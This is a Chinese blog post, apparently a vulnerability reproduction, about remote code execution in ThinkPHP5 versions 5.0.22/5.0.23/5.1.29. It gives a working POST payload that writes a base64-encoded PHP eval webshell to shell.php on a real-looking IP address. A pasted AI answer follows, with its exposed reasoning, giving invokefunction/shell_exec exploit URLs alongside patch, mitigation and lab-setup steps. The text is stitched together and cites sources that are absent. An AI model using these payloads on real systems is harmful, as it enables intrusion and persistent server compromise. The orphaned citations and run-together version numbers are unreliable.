复现ThinkPHP5 5.0.23远程代码执行漏洞 Thinkphp5 5.0.22/5.1.29远程代码执行漏洞

本文详细介绍了ThinkPHP5版本5.0.23和5.0.22/5.1.29存在的远程代码执行漏洞。通过发送特定的POST请求,可以触发系统命令执行,例如写入Webshell文件。利用方法包括编码木马并解码,以及调用系统函数获取系统信息。

ThinkPHP5 5.0.23远程代码执行漏洞

在这里插入图片描述
http://159.75.16.25:8089/index.php?s=captcha会出现如下报错
在这里插入图片描述
F12进入开发者 用HackBar 插件发送 POST 请求
在这里插入图片描述
得到回显:
在这里插入图片描述
通过echo命令写入 Webshell 文件
首先将一句话木马进行 Base64 编码
在这里插入图片描述
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2FhYSddKSA/PmJi | base64 -d > shell.php
访问shell.Php

<think>嗯,用户要求我查找ThinkPHP5版本5.0.225.1.29远程代码执行漏洞信息。参考了多个站内引用,这些引用都指向同一个漏洞。 用户提供了五个引用来源,我需要从中提炼关键信息。引用[1]提到漏洞是由于获取method方法未正确处理方法名,导致攻击者能调用Request类任意方法;引用[2][3]则强调问题出在控制器名处理不当,默认配置下未开启强制路由;引用[4]明确了受影响版本范围是5.0.235.1.31之前的所有版本;引用[5]则给出了具体的漏洞复现URL示例。 漏洞本质在于框架对控制器名的过滤缺陷。当未开启强制路由时(默认关闭),攻击者可通过特殊构造的URL调用任意方法。比如引用[5]展示的payload就很典型:通过s参数注入命名空间路径,配合invokefunction调用危险函数如shell_exec。 修复方案很明确:升级到安全版本5.0.235.1.31。临时措施可开启强制路由,但可能影响正常业务。有趣的是,引用[1][3]都提到这是"RCE漏洞",说明危害等级很高。 用户可能需要明确三点:漏洞原理、如何验证漏洞存在、怎样修复。在整理回答时,我会把利用方式中的payload示例单独用代码块呈现,因为涉及具体攻击语法需要清晰分隔。另外需要强调docker复现环境搭建步骤,这对安全研究人员很实用。 考虑到用户是技术背景,相关问题设计可以更深入:比如漏洞的CVE编号、实际攻击案例、补丁对比分析等。安全类问题需要特别注意准确性,所有技术细节必须严格对照引用来源表述。 </think>根据提供的引用信息,以下是ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞的完整分析: --- ### 💣 **漏洞详情** 1. **漏洞本质** 框架未正确处理控制器名和方法名,导致在未开启强制路由(默认关闭)时,攻击者可构造恶意URL调用`Request`类的任意方法,最终实现远程代码执行(RCE)[^1][^2][^3]。 2. **影响版本** - `5.0.x ≤ 5.0.22` - `5.1.x ≤ 5.1.29` (安全版本:5.0.23+ / 5.1.31+)[^4] 3. **触发条件** 默认配置下未开启强制路由(`url_route_must=false`),允许通过URL动态调用控制器方法[^2][^3]。 --- ### ⚠️ **利用方式** 1. **基础攻击Payload** 通过`s`参数注入恶意控制器路径,调用`invokefunction`执行系统命令: ```bash http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id ``` 此Payload调用`shell_exec('id')`返回当前用户信息[^5]。 2. **利用链关键点** - 路径穿越:`\think\app` 触发框架加载流程 - 动态调用:`invokefunction` 反射执行指定函数 - 参数控制:`vars[0]` 传递危险函数(如`system`/`exec`)[^5][^3] --- ### 🔧 **修复方案** 1. **官方补丁** 升级至安全版本: ```bash # 5.0.x 升级命令 composer update topthink/framework 5.0.23 # 5.1.x 升级命令 composer update topthink/framework 5.1.31 ``` 补丁修复了方法名过滤逻辑,禁止非法字符调用[^1][^4]。 2. **临时缓解措施** - 开启强制路由(修改`config/app.php`): ```php 'url_route_must' => true, // 强制路由生效 ``` - 配置WAF拦截包含`/think/app/invokefunction`的请求[^2][^3]。 --- ### 🔍 **漏洞复现步骤** 1. 使用Vulhub环境搭建: ```bash cd vulhub/thinkphp/5.rce docker-compose up -d # 启动漏洞环境 ``` 2. 访问Payload验证漏洞: ``` http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[]=1 ``` 成功则返回PHP配置信息[^4][^5]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值